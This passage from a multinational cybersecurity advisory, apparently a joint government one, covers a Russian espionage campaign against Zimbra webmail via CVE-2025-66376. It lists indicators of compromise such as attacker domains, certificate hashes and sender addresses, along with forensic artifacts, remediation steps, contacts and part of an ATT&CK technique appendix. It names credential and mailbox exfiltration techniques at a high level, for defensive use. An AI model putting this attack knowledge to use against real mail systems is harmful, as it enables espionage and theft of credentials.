<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
